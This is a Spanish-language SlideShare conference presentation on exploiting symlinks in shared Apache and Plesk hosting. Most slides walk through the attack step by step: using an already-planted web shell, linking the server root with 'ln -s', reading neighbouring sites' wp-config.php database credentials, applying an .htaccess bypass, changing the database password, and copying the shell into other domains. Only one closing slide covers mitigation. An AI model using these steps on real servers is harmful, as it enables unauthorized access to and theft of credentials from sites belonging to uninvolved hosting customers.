SlideShare una empresa de Scribd logo
«CON SYMLINK HASTA LA COCINA» 
Exponentes: 
« Dylan Irzi » & «Yarol Linux»
DYLAN IRZI 
• @Dylan_Irzi11 
• Auditor de Seguridad Web, Auditor De Redes Inalámbricas. 
• Especialista en SEO. 
• White-Hat. 
• Programador En Lenguajes PHP , JavaScript, HTML , Visual Basic. 
• Fundador Junto a @Yarolinux de 
• www.WebSecuritydev.com
YAROL 
• @Yarolinux 
• Auditor Seguridad Web, Auditor De Redes Inalámbricas. 
• White-Hat. 
• Programador En Lenguajes PHP , JavaScript, HTML. 
• Cofundador de WebSecurityDev.com
«CON SYMLINK HASTA LA COCINA» 
• Básicamente estaré explotando la seguridad de los servidores Apache , con la 
vulnerabilidad Symlink, que cada día se empieza a difundir mas y mas en la comunidad 
de Hackers. 
• Para esto Mostrare como se explota, como se soluciona & un ataque de Symlink En 
vivo!
SYMLINK QUE ES? 
• Symlink es un método para hacer referencia a otros archivos y carpetas en Linux, 
con el fin de hacer el trabajo más rápido Linux. (Seria cono un acceso directo en 
Windows.) 
• Symlink es una técnica de hacking utilizado para obtener acceso no autorizado a las 
carpetas en un servidor; Usando esta técnica una hackers son capaces de hackear 
varios sitios en un servicio de alojamiento web compartido.
SYMLINK – MAPA DE ATAQUE - 
Otros sitios 
Otros sitios 
Otros sitios 
Otros sitios 
Otros sitios 
Servidor 
Otros sitios 
Otros sitios 
Web Vulnerable 
Web Vulnerable 
Web Vulnerable 
Web Vulnerable 
Web Vulnerable 
Servidor 
Otros sitios 
Otros sitios 
Explotando Symlink 
Web Vulnerable 
Web Vulnerable 
Web Vulnerable 
Web Vulnerable 
«Es como el rooting pero sin matarte tanto!»
ANTES DE EXPLOTAR SYMLINK 
Antes de empezar a explotar symlink, hay que tener en cuentas las siguientes caracteristicas 
o ‘requisitos’ el Servidor. 
• *Shell Up En algún sitio del Servidor. 
• *El Servidor debe tener la siguiente estructura /Home/$User/Public_html/ 
• Que se puedan Visualizar los etc/passwd (Aunque se Pueden Bypass ) 
• Que se puedan Vizualizar los /etc/named.conf (Tambien se Puede Bypass)
EMPEZANDO A EXPLOTAR SYMLINK 
• Empezamos.. Tenemos ya shell up en un server. Y verifcamos si se leen los etc/passwd
EXPLOTANDO SYMLINK 
Empezamos y creare una carpeta en el sitio para hacer el symlink totalmente limpio. 
Llamare a la carpeta “x” 
• Mkdir x 
Entraremos a esa carpeta, y lo que haremos es Sacar el /root Con los siguiente comando: 
• ln -s / root 
Automáticamente nos debe salir en la carpeta el enlace / root 
Este nos dará la posibilidad de mirar todo el servidor.
SACANDO EL ROOT 
• Visualizando el enlace symbolico al /root
VISUALIZANDO ROOT 
• lo podremos vizualizar via url
LOCALIZANDO OBJETIVO. 
• Luego de haber sacado el root debemos dar reversa a la ip del servidor y localizar un 
website del servidor con alguna CMS ( Joomla, Worpress , Etc…”) Con el fin de sacar la 
configuracion de la base de datos. En mi caso ya tengo un objectivo del servidor que es: 
Podemos “Bingear” Usando : 
• IP:$IpDelServer$ Joomla 
• IP:$IpDelServer$ Worpress 
• ej: IP: 182.111.40.21 Siendo $IpDelServer$ La Variable ( La ip de el servidor ) Una vez 
sacado un objetivo se debe buscar..
VIZUALIZANDO OBJETIVO 
• el nombre ese sitio en el servidor y lo prodremos hacer con este comando: 
• ls -la /etc/valiases/$site.com 
• Solo remplazas $site.com por el sitio escojido dentro del servidor y Wala! Tendras el 
nombre del sitio en el servidor.. yo voy a hacerlo con un tienda hecha en worpress.
VIZUALIZANDO CONFIG. 
• Se Guarda el nombre que te dio el nombre ( Parte subrayada en la imagen ) y nos 
devolvemos de nuevo a la carpeta del root y empezamos a ingresar por medio de la url: 
• sitio/x/root/ 
• sitio/x/root/home/ 
• sitio/x/root/home/$Nombre/ 
• Sitio/x/root/home/$Nombre/Public_html/ 
• Sitio/x/root/home/$Nombre/Public_html/wp-config.php ( Config de la Worpress )
WALA!! 
• Wala! en mi caso de ejemplo: 
•
• Visualizando la config del sitio.
SYMLINK BYPASS 
• Bueno Habra caso donde no de logre visualizar la config por q te diga “forhiben” Para eso 
solo debes subir un .htaccess a la carpeta /x/ con esto adentro: 
Options Indexes 
FollowSymLinks 
DirectoryIndex ssssss.htm 
AddType txt .php AddHandler txt .php 
• y bueno ya solo falta ingresar a la DB , Cambiar la pass y entrar ! #HappyHacking!
AHORA PENSEMOS… 
• Usando Symlink, ya no es necesario hacer un ataque 
directo aun sitio. Usando este método, podremos 
‘hackear’ un website del servidor y usarlo para entrar al 
verdadero objetivo.
MAPA DE ATAQUE. 
Sitio Vulnerable 
Otros sites 
Otros sites 
Server 
Otros sites 
Otros sites 
Objetivo 
Hacker 
S 
y 
m 
L 
I 
n 
k
DEMO LIVE! 
• #HappyHacking
«SYMLINK EUROPEO» 
@Yarolinux
«SYMLINK EUROPEO» YAROLINUX 
• Básicamente el Symlink Europeo o Symlink en 
servidores Parallels Plesk Panel 
• Este tiene otro Tipo de Estructura. 
Que es el Siguiente: 
• Var/www/vhosts/
SYMLINK EUROPEO 
• El error se encontró en los sistemas que manejaban 
esa estructura /var/www/vhosts/ usando los mismos 
comandos de el symlink y vizualizar archivos del 
servidor sin permiso. Listando los otros sitios del 
servidor sin nesecidad de Reversear DNS.
EXPLOTANDO SYMLINK EUROPEO 
• Empezamos teniendo una shell up en un servidor con la estructura ya mencionada. 
Luego empezamos a ejecutar los siguientes comandos: 
• Listamos los sitios del servidor : 
• ls /var/www/vhosts/ 
• Inmediatamente al ejecutar ese codigo nos mostrara la lista de sitios en el servidor:
SYMLINK EUROPEO PWND! 
• Luego de listar los dominios, miraremos que tiene cada dominio (ficheros) y utilizamos el 
comando: 
• Ls –l /var/www/vhosts/*/httpdocs/ 
• Con este comando se nos vizualizaran todos los archivos del servidor de todos los 
dominios
SYMLINK EUROPEO PWND! 
• Lo que debemos hacer es localizar un carpeta dentro del sitio, 
la cual nos dará la oportunidad de copiar nuestra Shell en otro 
dominio del servidor. 
• Ya teniendo el target definido empezamos: 
• Guardamos la ubicación completa. Ej.: 
• /var/www/vhosts/sitiovulnerable.com/httpdocs/tmp/ 
• Le añadimos la carpeta del sitio : /tmp/
SYMLINK EUROPEO PWND! 
• Y ahora usamos toda esa dirección para hacer una copia de nuestra Shell ejecutamos el 
comando de copiar + archivo + dirección 
Cp 404.php /var/www/vhosts/sitiovulnerable.com/httpdocs/tmp/ 
Ya tenemos la Shell copiada a otro dominio y solo es abrir vía url. 
#HappyHacking!
CONCLUSIONES 
• El Symlink puede ser una vulnerabilidad critica , que si 
no se soluciona en los servidores, muy fácilmente 
pueden caer muchos sitios del mismo hosting 
compartido. 
Esta vulnerabilidad se soluciona deshabilitando la función 
del servidor «FollowSymlink» & «Open_Base_Dir» 
Evitando de esa manera el enlace symbolico a /root y el 
copiado de archivos entre usuarios.
GRACIAS! 
Síguenos en Twitter ! 
• @Dylan_Irzi11 & @Yarolinux 
• Y Visita nuestro Sitio: 
www.WebSecurityDev.com

Más contenido relacionado

La actualidad más candente

Wampserver definicion e instalacion y configuarcion
Wampserver definicion e instalacion y configuarcionWampserver definicion e instalacion y configuarcion
Wampserver definicion e instalacion y configuarcion
Clarita cesy Segovia jaco
 
PowerShell para administradores
PowerShell para administradoresPowerShell para administradores
PowerShell para administradoresPablo Campos
 
Serxa ud6 actividad 3
Serxa ud6 actividad 3Serxa ud6 actividad 3
Serxa ud6 actividad 3prades17
 
Taller de samba
Taller de sambaTaller de samba
Taller de samba
Rafael Torrealba
 
Tomcat y Jboss
Tomcat y JbossTomcat y Jboss
Tomcat y Jboss
Miguel Angel Nieto
 
Web apache en ubuntu 12,04
Web apache en ubuntu 12,04Web apache en ubuntu 12,04
Web apache en ubuntu 12,04
Alejandro Aguilera
 
Como hacer de todo con PowerShell
Como hacer de todo con PowerShellComo hacer de todo con PowerShell
Como hacer de todo con PowerShell
Juan Carlos Gonzalez
 
PHP en el 2015
PHP en el 2015PHP en el 2015
PHP en el 2015
Asier Marqués
 
Introducción a Ansible
Introducción a AnsibleIntroducción a Ansible
Introducción a Ansible
Dani Rodríguez
 
Instalación de wordpress 3.7
Instalación de wordpress 3.7Instalación de wordpress 3.7
Instalación de wordpress 3.7
Paul Velasquez
 
Apendice a
Apendice aApendice a
EJB con Eclipse y JBoss
EJB con Eclipse y JBossEJB con Eclipse y JBoss
EJB con Eclipse y JBoss
Paco Garat
 
Symfony2, Jornadas Symfony
Symfony2, Jornadas SymfonySymfony2, Jornadas Symfony
Symfony2, Jornadas Symfony
Javier Eguiluz
 
Montar moodle en una instancia de pruebas de amazon con docker
Montar moodle en una instancia de pruebas de amazon con dockerMontar moodle en una instancia de pruebas de amazon con docker
Montar moodle en una instancia de pruebas de amazon con docker
Erick Cabrera
 
Subversion
SubversionSubversion
Subversion
Esteban Cerutti
 
Subversion
SubversionSubversion
Subversion
Ixchel Muffin
 
FTP WINDOWS
FTP WINDOWSFTP WINDOWS
FTP WINDOWS
IDALI DILLER
 
Ftp en linux
Ftp en linuxFtp en linux
Ftp en linux
IDALI DILLER
 

La actualidad más candente (19)

Wampserver definicion e instalacion y configuarcion
Wampserver definicion e instalacion y configuarcionWampserver definicion e instalacion y configuarcion
Wampserver definicion e instalacion y configuarcion
 
PowerShell para administradores
PowerShell para administradoresPowerShell para administradores
PowerShell para administradores
 
Serxa ud6 actividad 3
Serxa ud6 actividad 3Serxa ud6 actividad 3
Serxa ud6 actividad 3
 
Taller de samba
Taller de sambaTaller de samba
Taller de samba
 
Tomcat y Jboss
Tomcat y JbossTomcat y Jboss
Tomcat y Jboss
 
Web apache en ubuntu 12,04
Web apache en ubuntu 12,04Web apache en ubuntu 12,04
Web apache en ubuntu 12,04
 
Como hacer de todo con PowerShell
Como hacer de todo con PowerShellComo hacer de todo con PowerShell
Como hacer de todo con PowerShell
 
PHP en el 2015
PHP en el 2015PHP en el 2015
PHP en el 2015
 
Introducción a Ansible
Introducción a AnsibleIntroducción a Ansible
Introducción a Ansible
 
Instalación de wordpress 3.7
Instalación de wordpress 3.7Instalación de wordpress 3.7
Instalación de wordpress 3.7
 
Servidor web
Servidor webServidor web
Servidor web
 
Apendice a
Apendice aApendice a
Apendice a
 
EJB con Eclipse y JBoss
EJB con Eclipse y JBossEJB con Eclipse y JBoss
EJB con Eclipse y JBoss
 
Symfony2, Jornadas Symfony
Symfony2, Jornadas SymfonySymfony2, Jornadas Symfony
Symfony2, Jornadas Symfony
 
Montar moodle en una instancia de pruebas de amazon con docker
Montar moodle en una instancia de pruebas de amazon con dockerMontar moodle en una instancia de pruebas de amazon con docker
Montar moodle en una instancia de pruebas de amazon con docker
 
Subversion
SubversionSubversion
Subversion
 
Subversion
SubversionSubversion
Subversion
 
FTP WINDOWS
FTP WINDOWSFTP WINDOWS
FTP WINDOWS
 
Ftp en linux
Ftp en linuxFtp en linux
Ftp en linux
 

Similar a Con Symlink Hasta la Cocina..

Instalación y configuración de un sitio web en Wordpress 3.8
Instalación y configuración de un sitio web en Wordpress 3.8Instalación y configuración de un sitio web en Wordpress 3.8
Instalación y configuración de un sitio web en Wordpress 3.8
Dani Reguera Bakhache
 
5 servidor web
5 servidor web5 servidor web
5 servidor web
angeles104
 
Servidor apache
Servidor apacheServidor apache
Servidor apache
Fausto Amador Mairena
 
Wordpress como framework - DarioBF en WordCamp Barcelona
Wordpress como framework - DarioBF en WordCamp BarcelonaWordpress como framework - DarioBF en WordCamp Barcelona
Wordpress como framework - DarioBF en WordCamp Barcelona
Darío BF
 
Servidores Web en GNU/Linux
Servidores Web en GNU/LinuxServidores Web en GNU/Linux
Servidores Web en GNU/Linux
Martin Gregorio
 
Hacking Shared Hosting with Symlink
Hacking Shared Hosting with SymlinkHacking Shared Hosting with Symlink
Hacking Shared Hosting with Symlink
Alvaro Diaz Hernandez
 
Servidor web lamp
Servidor web lampServidor web lamp
Servidor web lampyaser6700
 
CentOS 6.4 como DNS, Apache, SSL...
CentOS 6.4 como DNS, Apache, SSL...CentOS 6.4 como DNS, Apache, SSL...
CentOS 6.4 como DNS, Apache, SSL...
Elvis Vinda
 
Manual php nuke
Manual php nukeManual php nuke
Manual php nuke
Elizabeth León
 
Manual php nuke
Manual php nukeManual php nuke
Manual php nuke
Elizabeth León
 
Webperf wordpress
Webperf wordpressWebperf wordpress
Webperf wordpress
La Salle BCN
 
Instalación de joomla 3.0
Instalación de joomla 3.0Instalación de joomla 3.0
Instalación de joomla 3.0
Viviana López
 
Practica 1 seguridad en bases de datos
Practica 1 seguridad en bases de datosPractica 1 seguridad en bases de datos
Practica 1 seguridad en bases de datos
Carlos Otero
 
Manual php nuke
Manual php nukeManual php nuke
Manual php nuke
Elizabeth León
 
Clase sobre Optimización de Wordpress
Clase sobre Optimización de WordpressClase sobre Optimización de Wordpress
Clase sobre Optimización de Wordpress
Juan Ignacio Alberola
 
Más responsabilidad y seguridad en tus datos
Más responsabilidad y seguridad en tus datosMás responsabilidad y seguridad en tus datos
Más responsabilidad y seguridad en tus datosscr33d
 
Dbdeployer
DbdeployerDbdeployer
Dbdeployer
Giuseppe Maxia
 
Joomla 3.0 avanzado
Joomla 3.0 avanzadoJoomla 3.0 avanzado
Joomla 3.0 avanzado
Eladio Llamas Cerezal
 
Curso.introducción a Xampp y Mysql.José ignacio Valaer Rubio
Curso.introducción a Xampp y Mysql.José ignacio Valaer RubioCurso.introducción a Xampp y Mysql.José ignacio Valaer Rubio
Curso.introducción a Xampp y Mysql.José ignacio Valaer RubioJosé Ignacio Valaer Rubio
 

Similar a Con Symlink Hasta la Cocina.. (20)

Instalación y configuración de un sitio web en Wordpress 3.8
Instalación y configuración de un sitio web en Wordpress 3.8Instalación y configuración de un sitio web en Wordpress 3.8
Instalación y configuración de un sitio web en Wordpress 3.8
 
Cherokee
CherokeeCherokee
Cherokee
 
5 servidor web
5 servidor web5 servidor web
5 servidor web
 
Servidor apache
Servidor apacheServidor apache
Servidor apache
 
Wordpress como framework - DarioBF en WordCamp Barcelona
Wordpress como framework - DarioBF en WordCamp BarcelonaWordpress como framework - DarioBF en WordCamp Barcelona
Wordpress como framework - DarioBF en WordCamp Barcelona
 
Servidores Web en GNU/Linux
Servidores Web en GNU/LinuxServidores Web en GNU/Linux
Servidores Web en GNU/Linux
 
Hacking Shared Hosting with Symlink
Hacking Shared Hosting with SymlinkHacking Shared Hosting with Symlink
Hacking Shared Hosting with Symlink
 
Servidor web lamp
Servidor web lampServidor web lamp
Servidor web lamp
 
CentOS 6.4 como DNS, Apache, SSL...
CentOS 6.4 como DNS, Apache, SSL...CentOS 6.4 como DNS, Apache, SSL...
CentOS 6.4 como DNS, Apache, SSL...
 
Manual php nuke
Manual php nukeManual php nuke
Manual php nuke
 
Manual php nuke
Manual php nukeManual php nuke
Manual php nuke
 
Webperf wordpress
Webperf wordpressWebperf wordpress
Webperf wordpress
 
Instalación de joomla 3.0
Instalación de joomla 3.0Instalación de joomla 3.0
Instalación de joomla 3.0
 
Practica 1 seguridad en bases de datos
Practica 1 seguridad en bases de datosPractica 1 seguridad en bases de datos
Practica 1 seguridad en bases de datos
 
Manual php nuke
Manual php nukeManual php nuke
Manual php nuke
 
Clase sobre Optimización de Wordpress
Clase sobre Optimización de WordpressClase sobre Optimización de Wordpress
Clase sobre Optimización de Wordpress
 
Más responsabilidad y seguridad en tus datos
Más responsabilidad y seguridad en tus datosMás responsabilidad y seguridad en tus datos
Más responsabilidad y seguridad en tus datos
 
Dbdeployer
DbdeployerDbdeployer
Dbdeployer
 
Joomla 3.0 avanzado
Joomla 3.0 avanzadoJoomla 3.0 avanzado
Joomla 3.0 avanzado
 
Curso.introducción a Xampp y Mysql.José ignacio Valaer Rubio
Curso.introducción a Xampp y Mysql.José ignacio Valaer RubioCurso.introducción a Xampp y Mysql.José ignacio Valaer Rubio
Curso.introducción a Xampp y Mysql.José ignacio Valaer Rubio
 

Más de Dylan Irzi

SEO: “Técnicas Efectivas de Posicionamiento”
SEO: “Técnicas Efectivas de Posicionamiento”SEO: “Técnicas Efectivas de Posicionamiento”
SEO: “Técnicas Efectivas de Posicionamiento”
Dylan Irzi
 
Pentesting con android - Nipper Toolkit Web Scan
Pentesting con android - Nipper Toolkit Web ScanPentesting con android - Nipper Toolkit Web Scan
Pentesting con android - Nipper Toolkit Web Scan
Dylan Irzi
 
Malicioso Pixel - Attack QR Codes
Malicioso Pixel - Attack QR CodesMalicioso Pixel - Attack QR Codes
Malicioso Pixel - Attack QR Codes
Dylan Irzi
 
Pensamiento Hacking
Pensamiento HackingPensamiento Hacking
Pensamiento Hacking
Dylan Irzi
 
CSRF: El Nuevo Target.
CSRF: El Nuevo Target.CSRF: El Nuevo Target.
CSRF: El Nuevo Target.
Dylan Irzi
 
Smartphone: Herramienta de Bolsillo de un Hacker.
Smartphone: Herramienta de Bolsillo de un Hacker.Smartphone: Herramienta de Bolsillo de un Hacker.
Smartphone: Herramienta de Bolsillo de un Hacker.
Dylan Irzi
 

Más de Dylan Irzi (6)

SEO: “Técnicas Efectivas de Posicionamiento”
SEO: “Técnicas Efectivas de Posicionamiento”SEO: “Técnicas Efectivas de Posicionamiento”
SEO: “Técnicas Efectivas de Posicionamiento”
 
Pentesting con android - Nipper Toolkit Web Scan
Pentesting con android - Nipper Toolkit Web ScanPentesting con android - Nipper Toolkit Web Scan
Pentesting con android - Nipper Toolkit Web Scan
 
Malicioso Pixel - Attack QR Codes
Malicioso Pixel - Attack QR CodesMalicioso Pixel - Attack QR Codes
Malicioso Pixel - Attack QR Codes
 
Pensamiento Hacking
Pensamiento HackingPensamiento Hacking
Pensamiento Hacking
 
CSRF: El Nuevo Target.
CSRF: El Nuevo Target.CSRF: El Nuevo Target.
CSRF: El Nuevo Target.
 
Smartphone: Herramienta de Bolsillo de un Hacker.
Smartphone: Herramienta de Bolsillo de un Hacker.Smartphone: Herramienta de Bolsillo de un Hacker.
Smartphone: Herramienta de Bolsillo de un Hacker.
 

Último

Estructuras básicas_ conceptos de programación (1).docx
Estructuras básicas_ conceptos de programación  (1).docxEstructuras básicas_ conceptos de programación  (1).docx
Estructuras básicas_ conceptos de programación (1).docx
SamuelRamirez83524
 
Estructuras básicas_ conceptos básicos de programación.pdf
Estructuras básicas_  conceptos básicos de programación.pdfEstructuras básicas_  conceptos básicos de programación.pdf
Estructuras básicas_ conceptos básicos de programación.pdf
ItsSofi
 
biogas industrial para guiarse en proyectos
biogas industrial para guiarse en proyectosbiogas industrial para guiarse en proyectos
biogas industrial para guiarse en proyectos
Luis Enrique Zafra Haro
 
Trabajo Coding For kids 1 y 2 grado 9-4.pdf
Trabajo Coding For kids 1 y 2 grado 9-4.pdfTrabajo Coding For kids 1 y 2 grado 9-4.pdf
Trabajo Coding For kids 1 y 2 grado 9-4.pdf
cj3806354
 
Conceptos Básicos de Programación. Tecnología
Conceptos Básicos de Programación. TecnologíaConceptos Básicos de Programación. Tecnología
Conceptos Básicos de Programación. Tecnología
coloradxmaria
 
Diagrama de flujo - ingenieria de sistemas 5to semestre
Diagrama de flujo - ingenieria de sistemas 5to semestreDiagrama de flujo - ingenieria de sistemas 5to semestre
Diagrama de flujo - ingenieria de sistemas 5to semestre
DiegoCampos433849
 
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
vazquezgarciajesusma
 
Trabajo Coding For kids 1 y 2 grado 9-4.pdf
Trabajo Coding For kids 1 y 2 grado 9-4.pdfTrabajo Coding For kids 1 y 2 grado 9-4.pdf
Trabajo Coding For kids 1 y 2 grado 9-4.pdf
jjfch3110
 
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
vazquezgarciajesusma
 
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Telefónica
 
EduFlex, una educación accesible para quienes no entienden en clases
EduFlex, una educación accesible para quienes no entienden en clasesEduFlex, una educación accesible para quienes no entienden en clases
EduFlex, una educación accesible para quienes no entienden en clases
PABLOCESARGARZONBENI
 
Conceptos Básicos de Programación Proyecto
Conceptos Básicos de Programación ProyectoConceptos Básicos de Programación Proyecto
Conceptos Básicos de Programación Proyecto
cofferub
 
Conceptos Básicos de Programación L.D 10-5
Conceptos Básicos de Programación L.D 10-5Conceptos Básicos de Programación L.D 10-5
Conceptos Básicos de Programación L.D 10-5
JulyMuoz18
 
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdfTRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
thomasdcroz38
 
Posnarrativas en la era de la IA generativa
Posnarrativas en la era de la IA generativaPosnarrativas en la era de la IA generativa
Posnarrativas en la era de la IA generativa
Fernando Villares
 
Desarrollo de Habilidades de Pensamiento.
Desarrollo de Habilidades de Pensamiento.Desarrollo de Habilidades de Pensamiento.
Desarrollo de Habilidades de Pensamiento.
AlejandraCasallas7
 
Robótica educativa para la eduacion primaria .pptx
Robótica educativa para la eduacion primaria .pptxRobótica educativa para la eduacion primaria .pptx
Robótica educativa para la eduacion primaria .pptx
44652726
 
Alan Turing Vida o biografía resumida como presentación
Alan Turing Vida o biografía resumida como presentaciónAlan Turing Vida o biografía resumida como presentación
Alan Turing Vida o biografía resumida como presentación
JuanPrez962115
 
trabajo de tecnologia, segundo periodo 9-6f
trabajo de tecnologia, segundo periodo 9-6ftrabajo de tecnologia, segundo periodo 9-6f
trabajo de tecnologia, segundo periodo 9-6f
zoecaicedosalazar
 
Diagrama de flujo soporte técnico 5to semestre
Diagrama de flujo soporte técnico 5to semestreDiagrama de flujo soporte técnico 5to semestre
Diagrama de flujo soporte técnico 5to semestre
rafaelsalazar0615
 

Último (20)

Estructuras básicas_ conceptos de programación (1).docx
Estructuras básicas_ conceptos de programación  (1).docxEstructuras básicas_ conceptos de programación  (1).docx
Estructuras básicas_ conceptos de programación (1).docx
 
Estructuras básicas_ conceptos básicos de programación.pdf
Estructuras básicas_  conceptos básicos de programación.pdfEstructuras básicas_  conceptos básicos de programación.pdf
Estructuras básicas_ conceptos básicos de programación.pdf
 
biogas industrial para guiarse en proyectos
biogas industrial para guiarse en proyectosbiogas industrial para guiarse en proyectos
biogas industrial para guiarse en proyectos
 
Trabajo Coding For kids 1 y 2 grado 9-4.pdf
Trabajo Coding For kids 1 y 2 grado 9-4.pdfTrabajo Coding For kids 1 y 2 grado 9-4.pdf
Trabajo Coding For kids 1 y 2 grado 9-4.pdf
 
Conceptos Básicos de Programación. Tecnología
Conceptos Básicos de Programación. TecnologíaConceptos Básicos de Programación. Tecnología
Conceptos Básicos de Programación. Tecnología
 
Diagrama de flujo - ingenieria de sistemas 5to semestre
Diagrama de flujo - ingenieria de sistemas 5to semestreDiagrama de flujo - ingenieria de sistemas 5to semestre
Diagrama de flujo - ingenieria de sistemas 5to semestre
 
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
 
Trabajo Coding For kids 1 y 2 grado 9-4.pdf
Trabajo Coding For kids 1 y 2 grado 9-4.pdfTrabajo Coding For kids 1 y 2 grado 9-4.pdf
Trabajo Coding For kids 1 y 2 grado 9-4.pdf
 
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
 
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
 
EduFlex, una educación accesible para quienes no entienden en clases
EduFlex, una educación accesible para quienes no entienden en clasesEduFlex, una educación accesible para quienes no entienden en clases
EduFlex, una educación accesible para quienes no entienden en clases
 
Conceptos Básicos de Programación Proyecto
Conceptos Básicos de Programación ProyectoConceptos Básicos de Programación Proyecto
Conceptos Básicos de Programación Proyecto
 
Conceptos Básicos de Programación L.D 10-5
Conceptos Básicos de Programación L.D 10-5Conceptos Básicos de Programación L.D 10-5
Conceptos Básicos de Programación L.D 10-5
 
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdfTRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
TRABAJO DESARROLLO DE HABILIDADES DE PENSAMIENTO.pdf
 
Posnarrativas en la era de la IA generativa
Posnarrativas en la era de la IA generativaPosnarrativas en la era de la IA generativa
Posnarrativas en la era de la IA generativa
 
Desarrollo de Habilidades de Pensamiento.
Desarrollo de Habilidades de Pensamiento.Desarrollo de Habilidades de Pensamiento.
Desarrollo de Habilidades de Pensamiento.
 
Robótica educativa para la eduacion primaria .pptx
Robótica educativa para la eduacion primaria .pptxRobótica educativa para la eduacion primaria .pptx
Robótica educativa para la eduacion primaria .pptx
 
Alan Turing Vida o biografía resumida como presentación
Alan Turing Vida o biografía resumida como presentaciónAlan Turing Vida o biografía resumida como presentación
Alan Turing Vida o biografía resumida como presentación
 
trabajo de tecnologia, segundo periodo 9-6f
trabajo de tecnologia, segundo periodo 9-6ftrabajo de tecnologia, segundo periodo 9-6f
trabajo de tecnologia, segundo periodo 9-6f
 
Diagrama de flujo soporte técnico 5to semestre
Diagrama de flujo soporte técnico 5to semestreDiagrama de flujo soporte técnico 5to semestre
Diagrama de flujo soporte técnico 5to semestre
 

Con Symlink Hasta la Cocina..

  • 1. «CON SYMLINK HASTA LA COCINA» Exponentes: « Dylan Irzi » & «Yarol Linux»
  • 2. DYLAN IRZI • @Dylan_Irzi11 • Auditor de Seguridad Web, Auditor De Redes Inalámbricas. • Especialista en SEO. • White-Hat. • Programador En Lenguajes PHP , JavaScript, HTML , Visual Basic. • Fundador Junto a @Yarolinux de • www.WebSecuritydev.com
  • 3. YAROL • @Yarolinux • Auditor Seguridad Web, Auditor De Redes Inalámbricas. • White-Hat. • Programador En Lenguajes PHP , JavaScript, HTML. • Cofundador de WebSecurityDev.com
  • 4. «CON SYMLINK HASTA LA COCINA» • Básicamente estaré explotando la seguridad de los servidores Apache , con la vulnerabilidad Symlink, que cada día se empieza a difundir mas y mas en la comunidad de Hackers. • Para esto Mostrare como se explota, como se soluciona & un ataque de Symlink En vivo!
  • 5. SYMLINK QUE ES? • Symlink es un método para hacer referencia a otros archivos y carpetas en Linux, con el fin de hacer el trabajo más rápido Linux. (Seria cono un acceso directo en Windows.) • Symlink es una técnica de hacking utilizado para obtener acceso no autorizado a las carpetas en un servidor; Usando esta técnica una hackers son capaces de hackear varios sitios en un servicio de alojamiento web compartido.
  • 6. SYMLINK – MAPA DE ATAQUE - Otros sitios Otros sitios Otros sitios Otros sitios Otros sitios Servidor Otros sitios Otros sitios Web Vulnerable Web Vulnerable Web Vulnerable Web Vulnerable Web Vulnerable Servidor Otros sitios Otros sitios Explotando Symlink Web Vulnerable Web Vulnerable Web Vulnerable Web Vulnerable «Es como el rooting pero sin matarte tanto!»
  • 7. ANTES DE EXPLOTAR SYMLINK Antes de empezar a explotar symlink, hay que tener en cuentas las siguientes caracteristicas o ‘requisitos’ el Servidor. • *Shell Up En algún sitio del Servidor. • *El Servidor debe tener la siguiente estructura /Home/$User/Public_html/ • Que se puedan Visualizar los etc/passwd (Aunque se Pueden Bypass ) • Que se puedan Vizualizar los /etc/named.conf (Tambien se Puede Bypass)
  • 8. EMPEZANDO A EXPLOTAR SYMLINK • Empezamos.. Tenemos ya shell up en un server. Y verifcamos si se leen los etc/passwd
  • 9. EXPLOTANDO SYMLINK Empezamos y creare una carpeta en el sitio para hacer el symlink totalmente limpio. Llamare a la carpeta “x” • Mkdir x Entraremos a esa carpeta, y lo que haremos es Sacar el /root Con los siguiente comando: • ln -s / root Automáticamente nos debe salir en la carpeta el enlace / root Este nos dará la posibilidad de mirar todo el servidor.
  • 10. SACANDO EL ROOT • Visualizando el enlace symbolico al /root
  • 11. VISUALIZANDO ROOT • lo podremos vizualizar via url
  • 12. LOCALIZANDO OBJETIVO. • Luego de haber sacado el root debemos dar reversa a la ip del servidor y localizar un website del servidor con alguna CMS ( Joomla, Worpress , Etc…”) Con el fin de sacar la configuracion de la base de datos. En mi caso ya tengo un objectivo del servidor que es: Podemos “Bingear” Usando : • IP:$IpDelServer$ Joomla • IP:$IpDelServer$ Worpress • ej: IP: 182.111.40.21 Siendo $IpDelServer$ La Variable ( La ip de el servidor ) Una vez sacado un objetivo se debe buscar..
  • 13. VIZUALIZANDO OBJETIVO • el nombre ese sitio en el servidor y lo prodremos hacer con este comando: • ls -la /etc/valiases/$site.com • Solo remplazas $site.com por el sitio escojido dentro del servidor y Wala! Tendras el nombre del sitio en el servidor.. yo voy a hacerlo con un tienda hecha en worpress.
